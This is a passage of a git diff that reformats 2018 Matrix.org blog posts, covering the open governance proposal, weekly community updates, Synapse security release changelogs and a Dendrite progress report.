      This is obviously incredibly frustrating to server devs who tried to implement the SS API despite it being unstable and unreleased. In retrospect it might have been a mistake and we could probably have turned off signup on matrix.org and diverted the resources to the SS API work instead.  However, this is a case of making the judgement call to prioritising the overall ecosystem over one class of stakeholders (server devs) by focusing on providing users usable and featureful decentralised communication apps. Indeed we strongly believe that users are the main means to grow the ecosystem (others have failed without them): no one joins a network with no friends, however popular it is among devs.  Nonetheless, we are finally in a position to hire spec maintainers and get to a stable S2S as fast as we possibly can, and frankly feel relieved to be able to unblock this situation.
      Another good example is the recent 0.31.2 security update of Synapse: this was a defensive patch to the protocol that we added to ensure that even if bugs occur when authing events over federation, it should be impossible for a random user to ever hijack a room again.  We specced this out as a formal proposal and are gathering feedback, but expedited implementation in Synapse to protect the overall ecosystem. However, it turns out that the change breaks a small number of highly custom rooms, and so we find ourselves accused of privileging NV.  The reality is that we made a judgement call to protect the vast majority of today's ecosystem (and hope to provide a longer-term fix in the relatively near future which /will/ be compatible with more custom room use cases).
    • -
    • Another problem is some companies find it a turn-off to participate in Matrix unless they have a well-defined process for influencing the direction of the protocol.  Now, sometimes this could be seen as a feature rather than a bug; the last thing the ecosystem needs is a greedy corp trying to subvert the protocol to its own competitive advantage, and we don't want to be locked in that kind of battle either.  However, there are also lots of well-meaning and constructive companies who want to participate too, and there's an argument that they want a well-defined process for doing so. +
    • Another problem is some companies find it a turn-off to participate in Matrix unless they have a well-defined process for influencing the direction of the protocol.  Now, sometimes this could be seen as a feature rather than a bug; the last thing the ecosystem needs is a greedy corp trying to subvert the protocol to its own competitive advantage, and we don't want to be locked in that kind of battle either.  However, there are also lots of well-meaning and constructive companies who want to participate too, and there's an argument that they want a well-defined process for doing so.
    • -
    • The other main problem is simply one of checks & balances.  Even though NV may be a good guardian today, what if something changed in future? e.g. if NV got bought by Microsoft, or if someone on the team had some crisis and changed priorities?  Whilst one could always fork, such things are incredibly disruptive and fragmenting and it'd be good to engineer Matrix.org's governance to be resilient to such eventualities as much as is possible. +
    • The other main problem is simply one of checks & balances.  Even though NV may be a good guardian today, what if something changed in future? e.g. if NV got bought by Microsoft, or if someone on the team had some crisis and changed priorities?  Whilst one could always fork, such things are incredibly disruptive and fragmenting and it'd be good to engineer Matrix.org's governance to be resilient to such eventualities as much as is possible.
    To address these problems, in March of this year we started work on a long term proposal to establish an open governance model for Matrix which ensures the neutrality of the protocol, lets the community contribute as widely as possible, and incorporates a dedicated neutral non-profit Matrix.org Foundation separate to New Vector. @@ -41,25 +41,24 @@ With the end of r0 now in sight, completing work on the governance model is back The main points in the proposal are:
      -
    • To adopt the new governance model once all APIs have had a stable r0 release.  For S2S API, this means fixing the remaining flaws in the federation protocol and closing the spec omissions such that compliant independent implementations can be written purely based on the spec.  For the AS and IS and Push API it means just closing spec omissions (if any) and doing a final review. +
    • To adopt the new governance model once all APIs have had a stable r0 release.  For S2S API, this means fixing the remaining flaws in the federation protocol and closing the spec omissions such that compliant independent implementations can be written purely based on the spec.  For the AS and IS and Push API it means just closing spec omissions (if any) and doing a final review.
    • -
    • To define the mission of Matrix: to return control of communication to users by building a standards-based open secure decentralised communication network. +
    • To define the mission of Matrix: to return control of communication to users by building a standards-based open secure decentralised communication network.
    • -
    • To define the mandate of the core team to act as a neutral custodian of the Matrix Spec, prioritising the long-term success and growth of the overall network over individual commercial concerns. +
    • To define the mandate of the core team to act as a neutral custodian of the Matrix Spec, prioritising the long-term success and growth of the overall network over individual commercial concerns.
    • -
    • To define the guiding principles of the core team, e.g. collaboration rather than competition and contrarianism. +
    • To define the guiding principles of the core team, e.g. collaboration rather than competition and contrarianism.
    • -
    • To restructure the core team to incorporate members of the community as well as the founding core team. +
    • To restructure the core team to incorporate members of the community as well as the founding core team.
    • -
    • To propose succession logistics for the core team +
    • To propose succession logistics for the core team
    • -
    • To propose the role and governance structure of the Matrix.org Foundation legal entity. +
    • To propose the role and governance structure of the Matrix.org Foundation legal entity.
    -Feedback would be much appreciated on the MSC1318 Google Doc - or come talk about it on  +Feedback would be much appreciated on the MSC1318 Google Doc - or come talk about it on #matrix-spec-process:matrix.org (which we might as well use for governance too). - It's exciting times as we finally move towards an initial stable release of Matrix across all APIs - we are firmly on the road to a 1.0, and improving our governance model is a massive part of that process. thanks, diff --git a/content/blog/2018/06/2018-06-22-this-week-in-matrix-2018-06-22.md b/content/blog/2018/06/2018-06-22-this-week-in-matrix-2018-06-22.md index 886c70d88..01dd3aea7 100644 --- a/content/blog/2018/06/2018-06-22-this-week-in-matrix-2018-06-22.md +++ b/content/blog/2018/06/2018-06-22-this-week-in-matrix-2018-06-22.md @@ -19,7 +19,7 @@ kitsune writes: -### Loading Artist sticker packs! +### Loading Artist sticker packs TravisR says: @@ -47,7 +47,7 @@ ma1uta writes about his jeon Java H > I reorganized my projects and extracted the sdk from the api. So, today I have one project for the api (https://github.com/ma1uta/jeon), another for the sdk (https://github.com/ma1uta/jmsdk) but last is very early and non-usable.
    Also I covered the code with the swagger-annotation and now I can generate the swagger schema from the code. There is an example: https://github.com/ma1uta/jeon/blob/master/client-api/generated/swagger-ui/swagger.json
    And there is an example of the spec was generated from swagger: https://ma1uta.github.io/matrix-api.html (plain and without sorting or grouping, I'll maybe fix it).
    Everyone can ask me in the #jeon:matrix.org (matrix api) or #mxtoot:matrix.org (matrix-mastodon bridge).
    Then I want to cover the remaining api (appservice, push, identity but not federation because it isn't completed yet), write sdk (client, bot). And publish api and sdk on the maven central repository. -### CI/CD for Plasma! +### CI/CD for Plasma Nico gives updates on Plasma, the new Scala/Akka homeserver: @@ -93,20 +93,20 @@ TravisR writes: > mxtoot 0.4.3 (Matrix-Mastodon bridge) can send public, private, unlisted and direct messages. > There are 4 features left to go: >
      ->
    • show, add and remove follows;
    • ->
    • show threads;
    • ->
    • show notification, public and federated lines (and optionally merge them with the home timeline);
    • ->
    • show account info by id.
    • +>
    • show, add and remove follows;
    • +>
    • show threads;
    • +>
    • show notification, public and federated lines (and optionally merge them with the home timeline);
    • +>
    • show account info by id.
    • >
    > Also I think to implement a bridge Matrix-ActivityPub as S2S. For example, a room - is a ActivityPub's actor. Room participants is a bot corresponds to actors you follow to. Room timeline is a Inbox+Outbox. Reactions is a likes/favorites. Pinning message is a boost. Replies will be very useful. -### mautrix-telegram now puppets via user-specific relay bots! +### mautrix-telegram now puppets via user-specific relay bots tulir sneaks in at the last minute with: > mautrix-telegram now supports logging in with your own bot. It means that you can look almost like a real user and even use direct messages without logging in with your real Telegram account! -### And finally... +### And finally On the core team it's been an irregular week; as mentioned in last TWIM we spent most of it in workshops working through spec issues as part of the mission to finally get to an 'r0' stable release of the spec across all APIs - not just the Client/Server API.  The majority of this was spent making up for lost time on the S2S API, analysing its various holes and designing solutions to them.  Things are looking promising - we're keeping the work under wraps though given the potential for abuse, although we should see more gaps being fixed in the coming days.  Meanwhile we're aiming to get the r0 stable release out by the end of August.  We also unblocked a few longstanding MSCs (.well-known URIs and media limits), although in the end the S2S stuff took priority.  On the client side we did a lot of design sessions on Riot/Mobile (working out how the new app design should work on Mobile - watch this space for details!) and also how to speed up app launch (the concept of Hybrid Sync; somewhere between an initial sync and an incremental sync - basically an initial sync which can be interrupted in order to let the user use the app whilst the initial sync is still ongoing) - we'll write up the notes and publish these asap. diff --git a/content/blog/2018/06/2018-06-29-this-week-in-matrix-2018-06-29.md b/content/blog/2018/06/2018-06-29-this-week-in-matrix-2018-06-29.md index de22b02d3..0c3ddb09d 100644 --- a/content/blog/2018/06/2018-06-29-this-week-in-matrix-2018-06-29.md +++ b/content/blog/2018/06/2018-06-29-this-week-in-matrix-2018-06-29.md @@ -17,9 +17,9 @@ Announcing his update nearly a week ago, New stuff in mautrix-telegram: >
      ->
    • A basic telematrix database import script
    • ->
    • Improved config for relaybot message formatting, including the option to use Matrix displaynames (instead of just mxid localparts) +>
    • A basic telematrix database import script
    • +>
    • Improved config for relaybot message formatting, including the option to use Matrix displaynames (instead of just mxid localparts) > I've also been planning an improved Matrix->Telegram formatting converter and a provisioning API for integration managers like Dimension.
    • >
    @@ -55,11 +55,11 @@ He has also been working on a "bot sdk with core classes to write custom bots an > > Next steps: >
      ->
    • more voice backends (think Jitsi, etc.)
    • ->
    • SMS support with Twilio and/or OVH initially
    • ->
    • mxisd integration to automatically invite bridge users if needed and suggest bridge users
    • ->
    • mxgwd integration to auto-join HS regular users if a VoIP bridge user invites them, so > calls are directly seen
    • ->
    • And much more in later releases
    • +>
    • more voice backends (think Jitsi, etc.)
    • +>
    • SMS support with Twilio and/or OVH initially
    • +>
    • mxisd integration to automatically invite bridge users if needed and suggest bridge users
    • +>
    • mxgwd integration to auto-join HS regular users if a VoIP bridge user invites them, so > calls are directly seen
    • +>
    • And much more in later releases
    • >
    > Join #matrix-appservice-voip:kamax.io for more info, or visit the Github repo @@ -76,7 +76,7 @@ I'm interested to see a TypeScript backend running, and of course it's great to > Design: A lot of the code is auto-generated from the excellent swagger specs for the client-server api. > Contributing: It is early days yet. However, Typescript has enabled safe & rapid progress. Redis streams too seem to have a very well thought out api and the whole thing has been a fun experience so far. Contributions are very welcome. -## dsn-traveller source code released! +## dsn-traveller source code released Good news for those following the progress of dsn-traveller, the source is now publicly available! @@ -101,16 +101,16 @@ From Tobias: ## Riot ## New Rooms ## And so… diff --git a/content/blog/2018/07/2018-07-05-this-week-in-matrix-2018-07-05.md b/content/blog/2018/07/2018-07-05-this-week-in-matrix-2018-07-05.md index d9cb6040f..c36f15e11 100644 --- a/content/blog/2018/07/2018-07-05-this-week-in-matrix-2018-07-05.md +++ b/content/blog/2018/07/2018-07-05-this-week-in-matrix-2018-07-05.md @@ -38,13 +38,13 @@ The second evaluation for #486 ->
  • Get missing events API #516
  • ->
  • Query user devices #498
  • +>
  • State APIs #486
  • +>
  • Get missing events API #516
  • +>
  • Query user devices #498
  • > -> +> > We still need to figure out pagination for backfill API. -> +> > On applications services, we've got a lot of APIs working, thanks to anoa. Authentication now acknowledges App services, though lot of other stuff is under review. I am eagerly waiting for it to land. On the same topic, anoa says: @@ -81,9 +81,9 @@ This week we welcome Bruno to the Riot team, he's off and away working on gettin Otherwise:
      -
    • More work on the Jitsi integration
    • -
    • More work troubleshooting E2E failures
    • -
    • v0.15.6 and v0.15.7-rc.1 now available
    • +
    • More work on the Jitsi integration
    • +
    • More work troubleshooting E2E failures
    • +
    • v0.15.6 and v0.15.7-rc.1 now available
    ## Self-reference diff --git a/content/blog/2018/07/2018-07-06-security-update-synapse-0-32-0.md b/content/blog/2018/07/2018-07-06-security-update-synapse-0-32-0.md index e437059f7..9321a4884 100644 --- a/content/blog/2018/07/2018-07-06-security-update-synapse-0-32-0.md +++ b/content/blog/2018/07/2018-07-06-security-update-synapse-0-32-0.md @@ -9,18 +9,15 @@ category = ["Releases", "Security"] Folks, Synapse 0.32.0 is an important security update: please upgrade as soon as you can. - -The release focuses on security; fixing several federation bugs and adding new features for countering abuse. Notably it includes the ability to blacklist & whitelist servers allowed to send events to a room on a per-room basis via the new +The release focuses on security; fixing several federation bugs and adding new features for countering abuse. Notably it includes the ability to blacklist & whitelist servers allowed to send events to a room on a per-room basis via the new m.room.server_acl state event: see MSC1383 for details.  This also closes out https://github.com/matrix-org/matrix-doc/issues/709 - one of our oldest feature requests from users who wish to be able to limit the servers allowed to participate in a given room. - It's important to understand that server ACLs only work if all the servers participating in the room honour them.  In future this will be handled better (as part of ongoing work in making it easier to incrementally version and upgrade the federation protocol).  This means that for the ACLs to work, any servers which don't yet implement ACLs (e.g. older Synapses) have to be ACL'd from the room for the access control to work.   Therefore please upgrade as soon as possible to avoid this problem. This ongoing flurry of security work is in general all part of moving towards the long-awaited stable release of the Server-Server API. In parallel we've been working on the other main outstanding point: State Resets (i.e. scenarios where you get unexpected results when resolving conflicts between different servers' copies of a room).  There will be a few more major changes and upgrades on the horizon as we fix these, but then we'll finally be able to cut an r0 release of the Server-Server API and Matrix will be one massive step closer to being out of beta! - As always, you can get the new update from https://github.com/matrix-org/synapse/releases/tag/v0.32.1  or any of the sources mentioned at https://github.com/matrix-org/synapse. @@ -30,54 +27,54 @@ No changes since 0.32.0rc1 ## Synapse 0.32.0rc1 (2018-07-05) -#### Features +### Features
      -
    • Add blacklist & whitelist of servers allowed to send events to a +
    • Add blacklist & whitelist of servers allowed to send events to a room via m.room.server_acl event. (merge)
    • -
    • Cache factor override system for specific caches (#3334)
    • -
    • Add metrics to track appservice transactions (#3344)
    • -
    • Try to log more helpful info when a sig verification fails +
    • Cache factor override system for specific caches (#3334)
    • +
    • Add metrics to track appservice transactions (#3344)
    • +
    • Try to log more helpful info when a sig verification fails (#3372)
    • -
    • Synapse now uses the best performing JSON encoder/decoder according +
    • Synapse now uses the best performing JSON encoder/decoder according to your runtime (simplejson on CPython, stdlib json on PyPy). (#3462)
    • -
    • Add optional ip_range_whitelist param to AS registration files to +
    • Add optional ip_range_whitelist param to AS registration files to lock AS IP access (#3465)
    • -
    • Reject invalid server names in federation requests (#3480)
    • -
    • Reject invalid server names in homeserver.yaml (#3483)
    • +
    • Reject invalid server names in federation requests (#3480)
    • +
    • Reject invalid server names in homeserver.yaml (#3483)
    #### Bugfixes
      -
    • Strip access_token from outgoing requests (#3327)
    • -
    • Redact AS tokens in logs (#3349)
    • -
    • Fix federation backfill from SQLite servers (#3355)
    • -
    • Fix event-purge-by-ts admin API (#3363)
    • -
    • Fix event filtering in get_missing_events handler (#3371)
    • -
    • Synapse is now stricter regarding accepting events which it cannot +
    • Strip access_token from outgoing requests (#3327)
    • +
    • Redact AS tokens in logs (#3349)
    • +
    • Fix federation backfill from SQLite servers (#3355)
    • +
    • Fix event-purge-by-ts admin API (#3363)
    • +
    • Fix event filtering in get_missing_events handler (#3371)
    • +
    • Synapse is now stricter regarding accepting events which it cannot retrieve the prev_events for. (#3456)
    • -
    • Fix bug where synapse would explode when receiving unicode in HTTP +
    • Fix bug where synapse would explode when receiving unicode in HTTP User-Agent header (#3470)
    • -
    • Invalidate cache on correct thread to avoid race (#3473)
    • +
    • Invalidate cache on correct thread to avoid race (#3473)
    #### Improved Documentation
      -
    • doc/postgres.rst: fix display of the last command block. Thanks to +
    • doc/postgres.rst: fix display of the last command block. Thanks to @ArchangeGabriel! (#3340)
    #### Deprecations and Removals
      -
    • Remove was_forgotten_at (#3324)
    • +
    • Remove was_forgotten_at (#3324)
    #### Misc diff --git a/content/blog/2018/07/2018-07-13-this-week-in-matrix-2018-07-13.md b/content/blog/2018/07/2018-07-13-this-week-in-matrix-2018-07-13.md index 2ff19677e..d19c46883 100644 --- a/content/blog/2018/07/2018-07-13-this-week-in-matrix-2018-07-13.md +++ b/content/blog/2018/07/2018-07-13-this-week-in-matrix-2018-07-13.md @@ -53,67 +53,67 @@ New to me, fluffychat ## Riot/Web
      -
    • Welcomed Bruno onto the Riot/Web team! (and said farewell to Luke)
    • -
    • Lots of bug blitzing
    • -
    • Riot 0.16 due next week, with Jitsi-everywhere (at last) and Slate for composer.
    • -
    • We now have an end-to-end test harness (via puppeteer!) at last - being applied at first to fix onboarding bugs.
    • -
    • Lazy loading members in progress
    • +
    • Welcomed Bruno onto the Riot/Web team! (and said farewell to Luke)
    • +
    • Lots of bug blitzing
    • +
    • Riot 0.16 due next week, with Jitsi-everywhere (at last) and Slate for composer.
    • +
    • We now have an end-to-end test harness (via puppeteer!) at last - being applied at first to fix onboarding bugs.
    • +
    • Lazy loading members in progress
    ## Riot/Mobile
      -
    • Major perf work ongoing
    • -
    • Decoupling members from state…
    • -
    • …and then lazyloading members.
    • +
    • Major perf work ongoing
    • +
    • Decoupling members from state…
    • +
    • …and then lazyloading members.
    ## Synapse 0.32.2 available v0.32.2 is now available, which includes the m.room.server_acl security feature discussed in a previous blog post.
      -
    • If you're not running 0.32, please upgrade!!
    • -
    • Python 3 progresses!
    • -
    • Quite a lot of ops work to keep matrix.org alive. Status page coming soon! (We promise!!)
    • -
    • Looking at metrics and quotas for better experiences on limited-resource homeservers.
    • +
    • If you're not running 0.32, please upgrade!!
    • +
    • Python 3 progresses!
    • +
    • Quite a lot of ops work to keep matrix.org alive. Status page coming soon! (We promise!!)
    • +
    • Looking at metrics and quotas for better experiences on limited-resource homeservers.
    ## Spec
      -
    • State res fix
    • -
    • Version bump
    • -
    • Lots of omission PRs landing
    • -
    • TravisR S2S work
    • -
    • Work on both IS & AS API too
    • -
    • Uhoreg work - .well-known, and 3pid logins
    • -
    • Some internal discussions about improving the proposal process; particularly having a 5 day 'final comment period' similar to Rust's. Once we've got alignment within the core spec team we'll MSC it.
    • +
    • State res fix
    • +
    • Version bump
    • +
    • Lots of omission PRs landing
    • +
    • TravisR S2S work
    • +
    • Work on both IS & AS API too
    • +
    • Uhoreg work - .well-known, and 3pid logins
    • +
    • Some internal discussions about improving the proposal process; particularly having a 5 day 'final comment period' similar to Rust's. Once we've got alignment within the core spec team we'll MSC it.
    ## Dendrite
      -
    • Anoa & APwhitehat continue to blitz onwards on AS and federation
    • -
    • thirdparty protocol support for application services in the works.
    • -
    • continued progress on getting the AS query APIs supported. PR for /alias still being reviewed, PR for /users happened this week and now being reviewed
    • -
    • Timestamp massaging for application services ready and in review
    • -
    • APWhiteHat did a good chunk on federation, now migrating to supporting the various EDUs, starting with m.typing events.
    • -
    • …running out of low hanging fruit…
    • +
    • Anoa & APwhitehat continue to blitz onwards on AS and federation
    • +
    • thirdparty protocol support for application services in the works.
    • +
    • continued progress on getting the AS query APIs supported. PR for /alias still being reviewed, PR for /users happened this week and now being reviewed
    • +
    • Timestamp massaging for application services ready and in review
    • +
    • APWhiteHat did a good chunk on federation, now migrating to supporting the various EDUs, starting with m.typing events.
    • +
    • …running out of low hanging fruit…
    ## AS
      -
    • matrix-appservice-irc 0.9.1 is here with perf improvements!
    • -
    • Lots of work on trying to make it start up sooner
    • +
    • matrix-appservice-irc 0.9.1 is here with perf improvements!
    • +
    • Lots of work on trying to make it start up sooner
    ## E2E
      -
    • UISI stats
    • -
    • Device list syncing
    • -
    • Encrypted backup
    • +
    • UISI stats
    • +
    • Device list syncing
    • +
    • Encrypted backup
    ## Debian Packages diff --git a/content/blog/2018/07/2018-07-19-synapse-0-33-0-is-here.md b/content/blog/2018/07/2018-07-19-synapse-0-33-0-is-here.md index d42f6164c..5a60f8d01 100644 --- a/content/blog/2018/07/2018-07-19-synapse-0-33-0-is-here.md +++ b/content/blog/2018/07/2018-07-19-synapse-0-33-0-is-here.md @@ -22,7 +22,7 @@ The full changelog follows below; as always you can grab Synapse from #3561) +
  • Disable a noisy warning about logcontexts. (#3561)
  • ### Synapse 0.33.0rc1 (2018-07-18) @@ -30,25 +30,25 @@ The full changelog follows below; as always you can grab Synapse from #3316) -
  • Include CPU time from database threads in request/block metrics. (#3496#3501)
  • -
  • Add CPU metrics for _fetch_event_list. (#3497)
  • -
  • Optimisation to make handling incoming federation requests more efficient. (#3541)
  • +
  • Enforce the specified API for report_event. (#3316)
  • +
  • Include CPU time from database threads in request/block metrics. (#3496#3501)
  • +
  • Add CPU metrics for _fetch_event_list. (#3497)
  • +
  • Optimisation to make handling incoming federation requests more efficient. (#3541)
  • #### Bugfixes
      -
    • Fix a significant performance regression in /sync. (#3505#3521#3530#3544)
    • -
    • Use more portable syntax in our use of the attrs package, widening the supported versions. (#3498)
    • -
    • Fix queued federation requests being processed in the wrong order. (#3533)
    • -
    • Ensure that erasure requests are correctly honoured for publicly accessible rooms when accessed over federation. (#3546)
    • +
    • Fix a significant performance regression in /sync. (#3505#3521#3530#3544)
    • +
    • Use more portable syntax in our use of the attrs package, widening the supported versions. (#3498)
    • +
    • Fix queued federation requests being processed in the wrong order. (#3533)
    • +
    • Ensure that erasure requests are correctly honoured for publicly accessible rooms when accessed over federation. (#3546)
    #### Misc diff --git a/content/blog/2018/07/2018-07-20-this-week-in-matrix-2018-07-20.md b/content/blog/2018/07/2018-07-20-this-week-in-matrix-2018-07-20.md index d5c0443b2..ffe46e43a 100644 --- a/content/blog/2018/07/2018-07-20-this-week-in-matrix-2018-07-20.md +++ b/content/blog/2018/07/2018-07-20-this-week-in-matrix-2018-07-20.md @@ -7,7 +7,7 @@ author = ["Ben Parsons"] category = ["This Week in Matrix"] +++ -## Spec Updates! +## Spec Updates First of all: we've just released the first draft of the proposal for our next generation State Resolution algorithm as MSC1442 (State Resolution: Reloaded).  This is the result of a massive amount of work from Erik - if you are at all interested in the problems that state resets have plagued us with, then you will want to read the proposal and please comment on it! @@ -78,7 +78,7 @@ Lots of activity in the build up to Riot/Web 0.16 - merging the new Slate rich t Meanwhile, lots of work on Lazy Loading members on Riot/Web and Riot/iOS, and lots of stability perf work in general across mobile. -## State Resolution Special... Matrix Live! +## State Resolution Special... Matrix Live And finally, all you could ever want to hear about the new State Resolution algorithm on a special edition of Matrix Live, starring Erik & Matthew! diff --git a/content/blog/2018/07/2018-07-27-this-week-in-matrix-2018-07-27.md b/content/blog/2018/07/2018-07-27-this-week-in-matrix-2018-07-27.md index 492063975..5f4a8d6cb 100644 --- a/content/blog/2018/07/2018-07-27-this-week-in-matrix-2018-07-27.md +++ b/content/blog/2018/07/2018-07-27-this-week-in-matrix-2018-07-27.md @@ -21,7 +21,7 @@ category = ["This Week in Matrix"] I've been slowly working on matrix.org the last couple of months, updating the FAQ, updating content and UI/appearance of try-matrix-now. As you may know, the FAQBot, created and maintained by Coffee, uses try-matrix-now for it's data, so Coffee updated the bot to start to use some of the new fields. -> The final puzzle piece needed for FAQBot has been put into place: https://gitlab.com/Matrixcoffee/extract-web-to-org
    This is the bit that grabs "Try Matrix Now!" and turns it into questions that FAQBot can use.
    While I was working on that bit of code anyway, I also added support for the new 'home', 'repo', 'room' and 'language' fields. FAQBot will now give more and better information accordingly. For example, it is now possible to ask, "where is the Riot Android source code?" although it is generally better to just ask "where can I find Riot Android?" which combines several fields into a single answer.
    4 of 7 items are now completed: https://gitlab.com/Matrixcoffee/FAQBot/issues/2
    and the remaining 3 items before FAQBot's release are just the final review and integration tests. +> The final puzzle piece needed for FAQBot has been put into place:
    This is the bit that grabs "Try Matrix Now!" and turns it into questions that FAQBot can use.
    While I was working on that bit of code anyway, I also added support for the new 'home', 'repo', 'room' and 'language' fields. FAQBot will now give more and better information accordingly. For example, it is now possible to ask, "where is the Riot Android source code?" although it is generally better to just ask "where can I find Riot Android?" which combines several fields into a single answer.
    4 of 7 items are now completed:
    and the remaining 3 items before FAQBot's release are just the final review and integration tests. ## New Discord Bridge Maintainer @@ -60,38 +60,38 @@ Too bad indeed! ## Riot/Web
      -
    • Cut the release candidate for 0.16-RC1
    • -
    • Lots of final polishing on Jitsi; all bugs fixed now
    • -
    • Likewise all Slate bugs fixed - many thanks to t3chguy for finishing them off
    • -
    • Lazy Loading Members implementation progressing well
    • -
    • Release due on Monday
    • -
    • On crypto: uhoreg has also been progressing on hooking up incremental key backup
    • +
    • Cut the release candidate for 0.16-RC1
    • +
    • Lots of final polishing on Jitsi; all bugs fixed now
    • +
    • Likewise all Slate bugs fixed - many thanks to t3chguy for finishing them off
    • +
    • Lazy Loading Members implementation progressing well
    • +
    • Release due on Monday
    • +
    • On crypto: uhoreg has also been progressing on hooking up incremental key backup
    ## Riot/Mobile
      -
    • Room version upgrade support!
    • -
    • Replies UI implemented on iOS and working well
    • -
    • Lazy Loading Members is done and working on iOS - speeds up launch by a minimum of 3x
    • +
    • Room version upgrade support!
    • +
    • Replies UI implemented on iOS and working well
    • +
    • Lazy Loading Members is done and working on iOS - speeds up launch by a minimum of 3x
    ## Synapse
      -
    • Hawkowl is running the first ever Python 3.6 synapse! RAM usage looks to be 2-3x less than on Python 2.7. Still work to be done to merge all the PRs though.
    • -
    • Landing all the Lazy Loading patches; 3 down, 3 to go
    • -
    • Gathering feedback on the state res prop - thanks to uhoreg for wading through it!
    • -
    • Catching up Lots and lots of PRs
    • -
    • Implementing room versioning and gathering feedback on the MSC
    • -
    • Perf fixes - optimising current state res a bit & fixing sync performance
    • -
    • => End-to-end message latency on matrix.org has been improved by 3-5x over the last few days(!!!)
    • +
    • Hawkowl is running the first ever Python 3.6 synapse! RAM usage looks to be 2-3x less than on Python 2.7. Still work to be done to merge all the PRs though.
    • +
    • Landing all the Lazy Loading patches; 3 down, 3 to go
    • +
    • Gathering feedback on the state res prop - thanks to uhoreg for wading through it!
    • +
    • Catching up Lots and lots of PRs
    • +
    • Implementing room versioning and gathering feedback on the MSC
    • +
    • Perf fixes - optimising current state res a bit & fixing sync performance
    • +
    • => End-to-end message latency on matrix.org has been improved by 3-5x over the last few days(!!!)
    ## Dendrite >

    Super-exciting to see end-to-end encryption working with Dendrite thanks to a massive PR from first-time contributor fadeAce!! https://t.co/SLIPvgYGAm pic.twitter.com/s47SWjY46o

    @@ -99,15 +99,15 @@ Too bad indeed! > — Matrix (@matrixdotorg) July 27, 2018
      -
    • OpenTracing support has been dusted off and is working again cross-service
    • -
    • See the community update for much more!
    • +
    • OpenTracing support has been dusted off and is working again cross-service
    • +
    • See the community update for much more!
    ## Spec
      -
    • Travis continues to blitz through the S2S spec, PRs are flying around everywhere (and even landing!)
    • -
    • Uhoreg continues to work on the E2E spec merges with Zil0
    • +
    • Travis continues to blitz through the S2S spec, PRs are flying around everywhere (and even landing!)
    • +
    • Uhoreg continues to work on the E2E spec merges with Zil0
    ## We'll meet again… diff --git a/content/blog/2018/07/2018-07-30-dendrite-progress-update.md b/content/blog/2018/07/2018-07-30-dendrite-progress-update.md index b87ef870b..7755f2878 100644 --- a/content/blog/2018/07/2018-07-30-dendrite-progress-update.md +++ b/content/blog/2018/07/2018-07-30-dendrite-progress-update.md @@ -18,13 +18,13 @@ Hey everyone, my name is Andrew Morgan and I've been working full-time over the The main focus of my time here has been on the implementation of application service support for Dendrite. Application services are external programs that act as privileged extensions to a homeserver, allowing such functionality as bots in rooms and bridges to third-party networks. Supporting application services requires a few different bits and pieces to be set up. Currently all planned features have a PR for them, with the bold items already merged:
      -
    • Sending events to application services
    • -
    • Support user masquerading for events
    • -
    • Support editing event timestamps
    • -
    • Support room alias querying
    • -
    • Support user ID querying +
    • Sending events to application services
    • +
    • Support user masquerading for events
    • +
    • Support editing event timestamps
    • +
    • Support room alias querying
    • +
    • Support user ID querying
    • -
    • Support third party lookup proxying +
    • Support third party lookup proxying
    As you can see a decent portion of the functionality is already in master! The rest will hopefully follow after some further back and forth. @@ -34,19 +34,19 @@ As you can see a decent portion of the functionality is already in master! The r I certainly haven't been going at this all on my own. Alongside extensive help from Erik, who's been mentoring me, our resident Google Summer of Code student, APWhiteHat, has been tackling feature after feature in Dendrite wherever he can find them. Application services received a good deal of help on client-server endpoint authentication side, however, APWhiteHat has mostly been focusing on federation and some other very useful pieces. While his GSoC period still has a week or so before its conclusion, he has so far implemented:
      -
    • Idempotency to roomserver event processing to prevent duplication +
    • Idempotency to roomserver event processing to prevent duplication
    • -
    • Username auto generation +
    • Username auto generation
    • -
    • Tokens library based on macaroons +
    • Tokens library based on macaroons
    • -
    • Lots of left-over federation stuff: state API & get missing events being the major ones +
    • Lots of left-over federation stuff: state API & get missing events being the major ones
    • -
    • AS support to clientapi auth +
    • AS support to clientapi auth
    • -
    • Typing server: handling of PUT /typing by clientapi +
    • Typing server: handling of PUT /typing by clientapi
    • -
    • More typing server stuff on its way +
    • More typing server stuff on its way
    From my perspective, APWhiteHat was an excellent developer to work with. He asked good questions and was quick to answer any myself or the community had as well. His code reviews were also very comprehensive. I learned a lot from working with him and everyone else :) @@ -55,15 +55,12 @@ From my perspective, APWhiteHat was an excellent developer to work with. He aske Placing any large server into a production environment requires extensive monitoring capabilities in order to ensure operations are running smoothly. To that effect, Dendrite has been both the addition of OpenTracing and Prometheus support. Prometheus, also used heavily in Synapse, allows a homeserver operator to track a wide range of data including endpoint usage, resource management as well as user statistics over any given range of time. - In Dendrite, we are taking this one step further by introducing OpenTracing, a language and platform-agnostic framework for tracking the journey of an endpoint call from incoming request to outgoing response, with every method, hierarchy change and database call in between. It will be immensely useful in tracking down performance issues, as well as providing insight into the most critical paths throughout the codebase and where we should focus most of our optimization efforts on. It also comes with a lovely dashboard courtesy of Jaeger: - ## Community We've also seen some encouraging interest and development work from the community in the past couple months. While PR review from our own side is admittedly slow due to our focus on getting the foundational work in place, that hasn't stopped both old and new developers from sending in PRs and performing code reviews. A huge thank you to everyone involved! From this we've gotten API implementations and application service fixes from @turt2live, an end-to-end encryption implementation from @fadeAce, filtering support from @CromFr, and some PRs and numerous helpful review comments from @krombel. - We've also started to see some people running Dendrite in live environments, which is incredibly exciting for us to see! While Dendrite is not considered production-ready yet (though it moves closer every day), if you are interested in giving it a go please consult the quickstart installation guide. We look forward to any feedback you may have! diff --git a/content/blog/2018/08/2018-08-02-security-update-synapse-0-33-1.md b/content/blog/2018/08/2018-08-02-security-update-synapse-0-33-1.md index dee0c6887..951af56e5 100644 --- a/content/blog/2018/08/2018-08-02-security-update-synapse-0-33-1.md +++ b/content/blog/2018/08/2018-08-02-security-update-synapse-0-33-1.md @@ -18,6 +18,6 @@ Thanks ### Changes in Synapse v0.33.1 (2018-08-2)
      -
    • Fix a potential issue where servers could request events for rooms they have not joined. (#3641)
    • -
    • Fix a potential issue where users could see events in private rooms before they joined. (#3642)
    • +
    • Fix a potential issue where servers could request events for rooms they have not joined. (#3641)
    • +
    • Fix a potential issue where users could see events in private rooms before they joined. (#3642)
